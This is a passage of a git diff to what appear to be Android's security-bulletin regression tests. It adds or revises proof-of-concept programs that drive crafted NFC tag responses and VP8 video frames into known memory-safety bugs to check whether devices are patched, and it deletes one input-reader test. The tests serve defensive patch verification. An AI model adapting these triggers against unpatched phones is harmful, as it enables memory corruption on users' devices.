FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK); + + p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); + + p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4); + FAIL_CHECK(p_data->data.p_data); + + p_data->status = NFC_STATUS_OK; + p_t3t->cur_cmd = RW_T3T_CMD_FORMAT; + p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; + p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK; + NFC_HDR *p_msg = (p_data->data).p_data; + p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN; + uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1); + p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK; + uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA]; + p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], + NCI_NFCID2_LEN); + + testInProgress = true; + p_cb->p_cback(0, event, p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp new file mode 100644 index 00000000000..aa9a2f93e70 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2020-0034", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "32", + arch: { + arm: { + include_dirs: [ + "external/libvpx/config/arm-neon", + ], + shared_libs: [ + "libvpx", + ], + cflags: [ + "-DTEST_ARM32", + ], + }, + }, +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp new file mode 100644 index 00000000000..cc7cc22b99b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp @@ -0,0 +1,109 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include <stdlib.h> + +#ifdef TEST_ARM32 +#include <unistd.h> +#include "../includes/common.h" + +#include <string.h> +#include <algorithm> +#include <vector> +#include "vpx/vp8dx.h" +#include "vpx/vpx_decoder.h" +#include "vpx_ports/mem_ops.h" + +#define IVF_FILE_HDR_SZ 32 +#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */ + +FILE *fp = nullptr; + +void exitHandler(void) { + if (fp) { + fclose(fp); + } +} + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} +#endif + +int32_t main(int32_t argc, char **argv) { + (void)argc; + (void)argv; + +#ifdef TEST_ARM32 + atexit(exitHandler); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + FAIL_CHECK(argc >= 2); + fp = fopen(argv[1], "rb"); + FAIL_CHECK(fp); + + fseek(fp, 0, SEEK_END); + size_t size = ftell(fp); + fseek(fp, 0, SEEK_SET); + FAIL_CHECK(size > IVF_FILE_HDR_SZ); + + std::vector<uint8_t> buffer(size); + FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size); + + vpx_codec_ctx_t codec; + vpx_codec_dec_cfg_t cfg; + memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t)); + cfg.threads = 1; + FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK); + + uint8_t *data = buffer.data(); + data += IVF_FILE_HDR_SZ; + size -= IVF_FILE_HDR_SZ; + + while (size > IVF_FRAME_HDR_SZ) { + size_t frame_size = mem_get_le32(data); + size -= IVF_FRAME_HDR_SZ; + data += IVF_FRAME_HDR_SZ; + frame_size = std::min(size, frame_size); + + testInProgress = true; + vpx_codec_decode(&codec, data, frame_size, nullptr, 0); + testInProgress = false; + + vpx_codec_iter_t iter = nullptr; + vpx_image_t *img = nullptr; + while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) { + if (img->d_w > img->w || img->d_h > img->h) { + return EXIT_VULNERABLE; + } + } + data += frame_size; + size -= frame_size; + } + vpx_codec_destroy(&codec); +#endif + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp index d6ea4462558..8249c0c344e 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp @@ -19,6 +19,16 @@ #include <nfc_api.h> #include <rw_int.h> +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t* info, void* context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + extern tRW_CB rw_cb; void rw_init(void); void rw_t2t_handle_rsp(uint8_t* p_data); @@ -28,6 +38,17 @@ void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { } int main() { + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t; rw_init(); rw_cb.p_cback = &poc_cback; @@ -38,6 +59,8 @@ int main() { p_t2t->bytes_count = 1; p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES; uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; rw_t2t_handle_rsp(data); + isTestInProgress = false; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp index 700935ce0af..5033b2e6103 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp index 947f46a2007..bb3bdc20f4d 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,74 +14,116 @@ * limitations under the License. */ +#include <../includes/common.h> +#include <../includes/memutils.h> #include <nfc_int.h> #include <rw_int.h> #define RW_MFC_STATE_READ_NDEF 0x03 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03 +#define RW_MFC_DATA_LEN 0x10 +#define P_MFC_NDEF_LENGTH 1024 extern tRW_CB rw_cb; +tNFC_CONN *p_data = nullptr; +tRW_MFC_CB *p_mfc = nullptr; -void GKI_freebuf(void*) { -} +char enable_selective_overload = ENABLE_NONE; -void GKI_start_timer(uint8_t, int32_t, bool) { +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); } -void GKI_stop_timer(uint8_t) { +void GKI_freebuf(void *) {} + +void GKI_start_timer(uint8_t, int32_t, bool) {} + +void GKI_stop_timer(uint8_t) {} + +void cback(tRW_EVENT, tRW_DATA *) {} + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void)event; + (void)p_rw_data; } -void cback(tRW_EVENT, tRW_DATA*) { +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } + + if (p_mfc) { + if (p_mfc->p_ndef_buffer) { + free(p_mfc->p_ndef_buffer); + p_mfc->p_ndef_buffer = nullptr; + } + free(p_mfc); + p_mfc = nullptr; + } } int main() { - tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc; + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + p_mfc = &rw_cb.tcb.mfc; GKI_init(); rw_init(); uint8_t selres = 1; - uint8_t uid[MFC_UID_LEN] = { 1 }; - if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) { - return EXIT_FAILURE; - } + uint8_t uid[MFC_UID_LEN] = {1}; + + enable_selective_overload = ENABLE_MALLOC_CHECK; + FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK); p_mfc->state = RW_MFC_STATE_READ_NDEF; p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK; - tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; - tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN)); - if (!p_data) { - return EXIT_FAILURE; - } + p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); - p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16); - if (!(p_data->data.p_data)) { - free(p_data); - return EXIT_FAILURE; - } + p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16); + FAIL_CHECK(p_data->data.p_data); p_data->data.status = NFC_STATUS_OK; tNFC_CONN_EVT event = NFC_DATA_CEVT; - NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data; - mfc_data->len = 0x10; + NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data; + mfc_data->len = RW_MFC_DATA_LEN; mfc_data->offset = 0; - p_mfc->ndef_length = 1024; - p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16); - if (!(p_mfc->p_ndef_buffer)) { - free(p_data->data.p_data); - free(p_data); - return EXIT_FAILURE; - } + p_mfc->ndef_length = P_MFC_NDEF_LENGTH; + p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(p_mfc->p_ndef_buffer); rw_cb.p_cback = cback; + isTestInProgress = true; p_cb->p_cback(0, event, p_data); + isTestInProgress = false; - free(p_mfc->p_ndef_buffer); - free(p_data->data.p_data); - free(p_data); return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp deleted file mode 100644 index 875a38ad762..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#include "TestInputListener.h" - -namespace android { - -// --- TestInputListener --- - -TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout, - std::chrono::milliseconds eventDidNotHappenTimeout) - : mEventHappenedTimeout(eventHappenedTimeout), - mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {} - -TestInputListener::~TestInputListener() {} - -template <class NotifyArgsType> -void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - if (queue.empty()) { - const bool eventReceived = - mCondition.wait_for(lock, mEventHappenedTimeout, - [&queue]() REQUIRES(mLock) { return !queue.empty(); }); - if (!eventReceived) { - return; - } - } - if (outEventArgs) { - *outEventArgs = *queue.begin(); - } - queue.erase(queue.begin()); -} - -template <class NotifyArgsType> -void TestInputListener::assertNotCalled(std::string message) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - const bool eventReceived = - mCondition.wait_for(lock, mEventDidNotHappenTimeout, - [&queue]() REQUIRES(mLock) { return !queue.empty(); }); - if (eventReceived) { - return; - } -} - -template <class NotifyArgsType> -void TestInputListener::notify(const NotifyArgsType* args) { - std::scoped_lock<std::mutex> lock(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - queue.push_back(*args); - mCondition.notify_all(); -} - -void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) { - notify<NotifyConfigurationChangedArgs>(args); -} - -void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) { - notify<NotifyDeviceResetArgs>(args); -} - -void TestInputListener::notifyKey(const NotifyKeyArgs* args) { - notify<NotifyKeyArgs>(args); -} - -void TestInputListener::notifyMotion(const NotifyMotionArgs* args) { - notify<NotifyMotionArgs>(args); -} - -void TestInputListener::notifySwitch(const NotifySwitchArgs* args) { - notify<NotifySwitchArgs>(args); -} - -void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) { - notify<NotifyPointerCaptureChangedArgs>(args); -} - -void TestInputListener::notifySensor(const NotifySensorArgs* args) { - notify<NotifySensorArgs>(args); -} - -void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) { - notify<NotifyVibratorStateArgs>(args); -} - -} // namespace android diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h deleted file mode 100644 index 067ac835ba2..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#ifndef _UI_TEST_INPUT_LISTENER_H -#define _UI_TEST_INPUT_LISTENER_H - -#include <android-base/thread_annotations.h> -#include "InputListener.h" - -using std::chrono_literals::operator""ms; - -namespace android { - -// --- TestInputListener --- - -class TestInputListener : public InputListenerInterface { -protected: - virtual ~TestInputListener(); - -public: - TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms, - std::chrono::milliseconds eventDidNotHappenTimeout = 0ms); - - template <class NotifyArgsType> - void assertCalled(NotifyArgsType* outEventArgs, std::string message); - - template <class NotifyArgsType> - void assertNotCalled(std::string message); - - template <class NotifyArgsType> - void notify(const NotifyArgsType* args); - - virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override; - - virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override; - - virtual void notifyKey(const NotifyKeyArgs* args) override; - - virtual void notifyMotion(const NotifyMotionArgs* args) override; - - virtual void notifySwitch(const NotifySwitchArgs* args) override; - - virtual void notifySensor(const NotifySensorArgs* args) override; - - virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override; - - virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override; - - std::mutex mLock; - std::condition_variable mCondition; - const std::chrono::milliseconds mEventHappenedTimeout; - const std::chrono::milliseconds mEventDidNotHappenTimeout; - - std::tuple<std::vector<NotifyConfigurationChangedArgs>, // - std::vector<NotifyDeviceResetArgs>, // - std::vector<NotifyKeyArgs>, // - std::vector<NotifyMotionArgs>, // - std::vector<NotifySwitchArgs>, // - std::vector<NotifySensorArgs>, // - std::vector<NotifyVibratorStateArgs>, // - std::vector<NotifyPointerCaptureChangedArgs>> // - mQueues GUARDED_BY(mLock); -}; - -} // namespace android -#endif diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp deleted file mode 100644 index 13b33b6771f..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp +++ /dev/null @@ -1,1236 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#include <InputMapper.h> -#include <InputReader.h> -#include <InputReaderBase.h> -#include <InputReaderFactory.h> -#include <MultiTouchInputMapper.h> -#include <TestInputListener.h> - -namespace android { - -using std::chrono_literals::operator""ms; -using namespace android::flag_operators; - -// Timeout for waiting for an expected event -static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms; - -// An arbitrary time value. -static constexpr nsecs_t ARBITRARY_TIME = 1234; -static constexpr nsecs_t READ_TIME = 4321; - -// Arbitrary display properties. -static constexpr int32_t DISPLAY_ID = 0; -static constexpr int32_t DISPLAY_WIDTH = 480; -static constexpr int32_t DISPLAY_HEIGHT = 800; -static constexpr std::optional<uint8_t> NO_PORT = std::nullopt; -static constexpr int32_t BATTERY_STATUS = 4; -static constexpr int32_t BATTERY_CAPACITY = 66; -static constexpr int32_t RAW_X_MIN = 25; -static constexpr int32_t RAW_X_MAX = 1019; -static constexpr int32_t RAW_Y_MIN = 30; -static constexpr int32_t RAW_Y_MAX = 1009; -constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000; -constexpr int32_t DEVICE_GENERATION = 2; - -const char* DEVICE_NAME = "device"; -const char* DEVICE_LOCATION = "USB1"; -const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0); -constexpr int32_t EVENTHUB_ID = 1; -const std::string UNIQUE_ID = "local:0"; - -template <typename T> -static inline T min(T a, T b) { - return a < b ? a : b; -} - -// --- TestPointerController --- - -class TestPointerController : public PointerControllerInterface { - bool mHaveBounds; - float mMinX, mMinY, mMaxX, mMaxY; - float mX, mY; - int32_t mButtonState; - int32_t mDisplayId; - -public: - TestPointerController() - : mHaveBounds(false), - mMinX(0), - mMinY(0), - mMaxX(0), - mMaxY(0), - mX(0), - mY(0), - mButtonState(0), - mDisplayId(ADISPLAY_ID_DEFAULT) {} - - virtual ~TestPointerController() {} - - void setBounds(float minX, float minY, float maxX, float maxY) { - mHaveBounds = true; - mMinX = minX; - mMinY = minY; - mMaxX = maxX; - mMaxY = maxY; - } - - void setPosition(float x, float y) override { - mX = x; - mY = y; - } - - void setButtonState(int32_t buttonState) override { mButtonState = buttonState; } - - int32_t getButtonState() const override { return mButtonState; } - - void getPosition(float* outX, float* outY) const override { - *outX = mX; - *outY = mY; - } - - int32_t getDisplayId() const override { return mDisplayId; } - - void setDisplayViewport(const DisplayViewport& viewport) override { - mDisplayId = viewport.displayId; - } - - const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; } - -private: - bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override { - *outMinX = mMinX; - *outMinY = mMinY; - *outMaxX = mMaxX; - *outMaxY = mMaxY; - return mHaveBounds; - } - - void move(float deltaX, float deltaY) override { - mX += deltaX; - if (mX < mMinX) mX = mMinX; - if (mX > mMaxX) mX = mMaxX; - mY += deltaY; - if (mY < mMinY) mY = mMinY; - if (mY > mMaxY) mY = mMaxY; - } - - void fade(Transition) override {} - - void unfade(Transition) override {} - - void setPresentation(Presentation) override {} - - void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits, - int32_t displayId) override { - std::vector<int32_t> newSpots; - // Add spots for fingers that are down. - for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) { - uint32_t id = idBits.clearFirstMarkedBit(); - newSpots.push_back(id); - } - - mSpotsByDisplay[displayId] = newSpots; - } - - void clearSpots() override {} - - std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay; -}; - -// --- TestInputReaderPolicy--- - -class TestInputReaderPolicy : public InputReaderPolicyInterface { - std::mutex mLock; - std::condition_variable mDevicesChangedCondition; - - InputReaderConfiguration mConfig; - std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers; - std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock); - bool mInputDevicesChanged GUARDED_BY(mLock){false}; - std::vector<DisplayViewport> mViewports; - TouchAffineTransformation transform; - -protected: - virtual ~TestInputReaderPolicy() {} - -public: - TestInputReaderPolicy() {} - - virtual void clearViewports() { - mViewports.clear(); - mConfig.setDisplayViewports(mViewports); - } - - std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const { - return mConfig.getDisplayViewportByUniqueId(uniqueId); - } - std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const { - return mConfig.getDisplayViewportByType(type); - } - - std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const { - return mConfig.getDisplayViewportByPort(displayPort); - } - - void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation, - bool isActive, const std::string& uniqueId, - std::optional<uint8_t> physicalPort, ViewportType viewportType) { - const DisplayViewport viewport = - createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId, - physicalPort, viewportType); - mViewports.push_back(viewport); - mConfig.setDisplayViewports(mViewports); - } - - bool updateViewport(const DisplayViewport& viewport) { - size_t count = mViewports.size(); - for (size_t i = 0; i < count; i++) { - const DisplayViewport& currentViewport = mViewports[i]; - if (currentViewport.displayId == viewport.displayId) { - mViewports[i] = viewport; - mConfig.setDisplayViewports(mViewports); - return true; - } - } - // no viewport found. - return false; - } - - void addExcludedDeviceName(const std::string& deviceName) { - mConfig.excludedDeviceNames.push_back(deviceName); - } - - void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) { - mConfig.portAssociations.insert({inputPort, displayPort}); - } - - void addInputUniqueIdAssociation(const std::string& inputUniqueId, - const std::string& displayUniqueId) { - mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId}); - } - - void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); } - - void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); } - - void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) { - mPointerControllers.insert_or_assign(deviceId, std::move(controller)); - } - - const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; } - - const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; } - - TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor, - int32_t surfaceRotation) { - return transform; - } - - void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; } - - void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; } - - void setShowTouches(bool enabled) { mConfig.showTouches = enabled; } - - void setDefaultPointerDisplayId(int32_t pointerDisplayId) { - mConfig.defaultPointerDisplayId = pointerDisplayId; - } - - float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; } - -private: - DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height, - int32_t orientation, bool isActive, - const std::string& uniqueId, - std::optional<uint8_t> physicalPort, ViewportType type) { - bool isRotated = - (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270); - DisplayViewport v; - v.displayId = displayId; - v.orientation = orientation; - v.logicalLeft = 0; - v.logicalTop = 0; - v.logicalRight = isRotated ? height : width; - v.logicalBottom = isRotated ? width : height; - v.physicalLeft = 0; - v.physicalTop = 0; - v.physicalRight = isRotated ? height : width; - v.physicalBottom = isRotated ? width : height; - v.deviceWidth = isRotated ? height : width; - v.deviceHeight = isRotated ? width : height; - v.isActive = isActive; - v.uniqueId = uniqueId; - v.physicalPort = physicalPort; - v.type = type; - return v; - } - - void getReaderConfiguration(InputReaderConfiguration* outConfig) override { - *outConfig = mConfig; - } - - std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override { - return mPointerControllers[deviceId]; - } - - void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override { - std::scoped_lock<std::mutex> lock(mLock); - mInputDevices = inputDevices; - mInputDevicesChanged = true; - mDevicesChangedCondition.notify_all(); - } - - std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay( - const InputDeviceIdentifier&) override { - return nullptr; - } - - std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; } - - void waitForInputDevices(std::function<void(bool)> processDevicesChanged) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) { - return mInputDevicesChanged; - }); - mInputDevicesChanged = false; - } -}; - -// --- TestEventHub --- - -class TestEventHub : public EventHubInterface { - struct KeyInfo { - int32_t keyCode; - uint32_t flags; - }; - - struct SensorInfo { - InputDeviceSensorType sensorType; - int32_t sensorDataIndex; - }; - - struct Device { - InputDeviceIdentifier identifier; - Flags<InputDeviceClass> classes; - PropertyMap configuration; - KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes; - KeyedVector<int, bool> relativeAxes; - KeyedVector<int32_t, int32_t> keyCodeStates; - KeyedVector<int32_t, int32_t> scanCodeStates; - KeyedVector<int32_t, int32_t> switchStates; - KeyedVector<int32_t, int32_t> absoluteAxisValue; - KeyedVector<int32_t, KeyInfo> keysByScanCode; - KeyedVector<int32_t, KeyInfo> keysByUsageCode; - KeyedVector<int32_t, bool> leds; - std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode; - BitArray<MSC_MAX> mscBitmask; 